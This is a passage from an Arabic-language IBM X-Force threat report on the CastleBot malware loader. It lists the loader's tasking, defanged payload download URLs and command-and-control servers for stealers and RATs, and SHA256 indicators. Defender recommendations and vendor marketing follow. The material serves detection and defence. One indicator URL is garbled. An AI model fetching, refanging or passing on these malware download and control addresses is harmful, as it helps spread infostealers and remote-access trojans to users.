    • رابط التحميل: https[:]//google.herionhelpline[.]com/app/AcerUSBUpdate.exe
    • الحمولة: 03122e46a3e48141553e7567c659642b1938b2d3641432f916375c163df819c1 (Rhadamanthys)
    • مسار التثبيت: لا يوجد
    • طريقة الإطلاق: 6
  • معرِّف المهمة: 0x17 
    • رابط التحميل: https[:]//google.herionhelpline[.]com/app/light1_v5_signed.html
    • الحمولة: 12de997634859d1f93273e552dec855bfae440dcf11159ada19ca0ae13d53dff (Remcos)
    • مسار التثبيت: %ProgramData%\AmazonApp\AmazonWebServiceUpdate.exe
    • طريقة الإطلاق: 1
  • معرف المهمة: 0x18
    • https[:]//google.herionhelpline[.]com/app/SlackUpdateWeb.html
    • الحمولة: c8f95f436c1f618a8ef5c490555c6a1380d018f44e1644837f19cb71f6584a8a (DeerStealer)
    • مسار التثبيت: %AppData%\SlackUpdate\SlackServiceUpdate.exe
    • طريقة الإطلاق: 1

كما اكتشفت X-Force حملات تستخدم SecTopRAT (المعروف أيضًا باسم ArechClient) وHijackLoader (المعروف أيضًا باسم Shadowladder) وMonsterV2 (المعروف أيضًا باسم Aurotun Stealer).

SecTopRAT وHijackLoader:

  • GlobalProtect-6.3.zip مع تحميل MSVP140.DLL قابل للتنفيذ (8bf92cef46fda2bdb9d2a426fbcd35ffedea9ed9bd97bf78cc5128bd1fb2095)
  • خادم CastleBot C2:http[:]//107.158.128[.]45/service/settings/81a16c72f9c9f4ea94d68b609c78f72d4a8725e7b8f6949b12d8871b6c6843e3
  • حمولة مستضافة على الرابط: http[:]//107.158.128[.]45/service/download/Exchanger32.zip(4834bc71fc5d3729ad5280e44a13e9627e3a82fd4db1bb992fa8ae52602825c6).

MonsterV2:

  • ملف libssl-1_1.dll (53dddae886017fbfbb43ef236996b9a4d9fb670833dfa0c3eac982815dc8d2a5) يتم تحميله جانبيًا، ويحقن Stager الخاص بـ CastleBot بشكل انعكاسي.
  • خادم CastleBot C2: http[:]//107.158.128[.]45/service/settings/8306a6b35d4be6de72be58860791e3644468fd67f675e4045a246dd27fa5692c
  • الحمولة المستضافة على http[:]//107.158.128[.]45/service/download/CCver_Setup.exe (ab725f5ab19eec691b66c37c715abd0e9ab44556708094a911b84987d700aa62).

الخاتمة

يُعَد CastleBot أحدث دليل على التحول في متجهات العدوى الأولية ضمن مشهد تهديدات الجريمة الإلكترونية. يتم توزيع الأبواب الخلفية وإطار العمل MaaS بشكل متزايد عبر مواقع وهمية كجزء من برامج حصار طروادة أو عبر تقنية ClickFix. خلال بضعة أشهر قصيرة منذ ملاحظة زائدة في نشاط CastleBot، أضاف المطورون بالفعل عدة ميزات جديدة، ومن المرجح أن يسعوا إلى مواكبة التكيف مع حلول EDR وأمن الشبكات. تُشير الأنشطة الحالية إلى أن عدة شركاء يستخدمون CastleBot لنشر كلٍّ من برامج سرقة المعلومات والأبواب الخلفية، ما قد يؤدي إلى حوادث فدية عالية التأثير.

يُنصح المدافعون بالبقاء يقظين تجاه التقنيات المذكورة في هذا التقرير واتخاذ الإجراءات المناسبة للحد من خطر الإصابة بـ CastleBot.

التوصيات

  • التأكد من تحديث برنامج اكتشاف نقاط النهاية والاستجابة لها (EDR) وأدوات التحكم الأمنية المرتبطة به.
  • تدريب المستخدمين على توخي أقصى درجات الحذر عند تنزيل البرامج، والامتناع عن تثبيت البرامج غير المعتمدة أو غير الموثوق بها.
  • تنفيذ المصادقة متعددة العوامل ومراقبة بيانات اعتماد المؤسسة المسرّبة
  • إعداد تنبيهات أو التفكير في حظر اتصالات HTTP الصادرة (غير HTTPS)، وعناوين URL التي تحتوي على عناوين IP على وجه الخصوص

مؤشرات التسوية

المؤشر

نوع المؤشر

السياق

http://173.44.141[.]89/service/
download/data_4x.bin

عنوان URL

رابط تنزيل العنصر الأساسي لـ CastleBot

http://173.44.141[.]89/service/
download/data_3x.bin

عنوان URL

رابط تحميل CastleBot Loader

http://173.44.141[.]89/service/

عنوان URL

خادم CastleBot C2

http://mhousecreative
[.]com/service/

عنوان URL

خادم CastleBot C2

http://80.77.23[.]48/service/

عنوان URL

خادم CastleBot C2

http://62.60.226[.]73/service/

عنوان URL

خادم CastleBot C2

http://107.158.128[.]45/service/

عنوان URL

خادم CastleBot C2

http://62.60.226[.]73/service/

عنوان URL

خادم CastleBot C2

202f6b6631ade2c41e4762e5
877ce0063a3beabce0c3f85
64b6499a1164c1e04

SHA256

نواة CastleBot الأساسية

a2898897d3ada2990e523b6
1f3efaacf6f67af1a52e0996d3f
9651b41a1c59c9

SHA256

تنزيل برنامج PowerShell النصي واستخراج أرشيف ZIP

d6eea6cf20a744f3394fb0c
1a30431f1ef79d6992b55262
2ad17d86490b7aa7b

SHA256

العنصر التمهيدي المشفر في CastleBot

http://mhousecreative[.]com
/service/download/general_1

عنوان URL

عنوان URL لتنزيل NetSupport (13 مايو)

2a2cd6377ad69a298af55f2
9359d67e4586ec16e6c02c1
b8ad27c38471145569

SHA256

NetSupport ZIP payload

8b2ebeff16a20cfcf794e8f31
4c37795261619d96d602c8e
e13bc6255e951a43

SHA256

تنزيل برنامج PowerShell النصي واستخراج أرشيف ZIP

cbaf513e7fd4322b14adcc34
b34d793d79076ad31092598
1548e8d3cff886527

SHA256

العنصر التمهيدي المشفر في CastleBot

05ecf871c7382b0c74e5bac
267bb5d12446f52368bb1bfe
5d2a4200d0f43c1d8

SHA256

ديف لودر

http: //17344.141 [.] 90 / service /
تنزيل/docusign2.exe

عنوان URL

عنوان URL لتنزيل WarCookie (6 يونيو)

5bca7f1942e07e8c12ecd9c80
2ecdb96570dfaaaa1f44a6753e
bb9ffda0604cb4

SHA256

حمولة WarmCookie

170.130.165[.]112

IPv4

خادم WarmCookie C2

bf21161c808ae74bf08e8d7f83
334ba926ffa0bab96ccac42dd
e418270387890

SHA256

محمِّل AutoIt لمكوّن Stager الخاص بـ CastleBot

http://107.158.128[.]105/c9125
2f9ab114f26.php

عنوان URL

خادم StealC C2

e6aab1b6a150ee3cbc721ac25
75c57309f307f69cd1b478d49
4c25cde0baaf85

SHA256

محمِّل يحتوي على نواة CastleBot.

b45cce4ede6ffb7b6f28f75a0c
bb60e65592840d98dcb63155
b9fa0324a88be2 

SHA256

نواة CastleBot الأساسية

https://google.herionhelpline
[.]com/app/AcerUSBUpdate.
exe

عنوان URL

عنوان URL لتنزيل Rhadamanthys (10 يوليو)

03122e46a3e48141553e7567
c659642b1938b2d3641432f9
16375c163df819c1 

SHA256

حمولة المرحلة الأولى من Rhadamanthy

https://google.herionhelpline
[.]com/app/light1_v5_signed.
html

عنوان URL

عنوان URL لتنزيل Remcos (10 يوليو)

12de997634859d1f93273e55
2dec855bfae440dcf11159ada19
ca0ae13d53dff 

SHA256

حمولة Remcos

https://google.herionhelpline[.]com
/app/SlackUpdateWeb.html

 

عنوان URL

عنوان URL لتنزيل DeerStealer (10 يوليو)

c8f95f436c1f618a8ef5c49055
5c6a1380d018f44e1644837f19
cb71f6584a8a 

SHA256

حمولة DeerStealer

8bf93cef46fda2bdb9d2a426
fbcd35ffedea9ed9bd97bf78c
c51282bd1fb2095

SHA256

العنصر التمهيدي المشفر في CastleBot

http://107.158.128[.]45/service
/download/Exchanger32.zip

عنوان URL

عنوان URL لتنزيل HijackLoader وSecTopRAT (5 يوليو)

4834bc71fc5d3729ad5280e4
4a13e9627e3a82fd4db1bb992
fa8ae52602825c6

SHA256

حمولة ZIP الخاصة بـ HijackLoader وSecTopRAT

53dddae886017fbfbb43ef2369
96b9a4d9fb670833dfa0c3eac
982815dc8d2a5

SHA256

العنصر التمهيدي المشفر في CastleBot

http://107.158.128[.]45/service
/download/CCver_Setup.exe

عنوان URL

عنوان URL لتنزيل MonsterV2 (10 يوليو)

ab725f5ab19eec691b66c37c715
abd0e9ab44556708094a911b8
4987d700aa62

SHA256

حمولة MonsterV2

تم الآن دمج مؤشر استخبارات التهديدات IBM X-Force Premier مع OpenCTI بواسطة Filigran، ما يوفر معلومات استعلامات تهديدات قابلة للتنفيذ، وغيرها الكثير. يمكنك الوصول إلى رؤى حول عنصر التهديد والبرامج الضارة ومخاطر الصناعات. قم بتثبيت موصِّل OpenCTI من X-Force لتعزيز قدرات الكشف والاستجابة، وتقوية الأمن الإلكتروني لديك بخبرة IBM X-Force. احصل على نسخة تجريبية من X-Force Premier استعلامات التهديدات مدتها 30 يومًا اليوم!

حلول ذات صلة
خدمات إدارة التهديدات

التنبؤ بالتهديدات الحديثة ومنعها والاستجابة لها، ما يزيد من مرونة الأعمال.

 

استكشف خدمات إدارة التهديدات
حلول الكشف عن التهديدات والاستجابة لها

استخدم الكشف عن التهديدات والاستجابة لها من IBM لتعزيز الأمن لديك وتسريع الكشف عن التهديدات.

استكشاف حلول الكشف عن التهديدات
حلول الدفاع ضد التهديدات على الأجهزة المحمولة (MTD)

احمِ بيئة الأجهزة المحمولة لديك مع حلول الدفاع الشاملة ضد التهديدات من IBM MaaS360.

استكشف حلول الدفاع ضد التهديدات على الأجهزة المحمولة
اتخِذ الخطوة التالية

احصل على حلول شاملة لإدارة التهديدات من أجل حماية عملك من الهجمات الإلكترونية بشكل احترافي.

  1. استكشف خدمات إدارة التهديدات
  2. حجز موجز يركز على التهديدات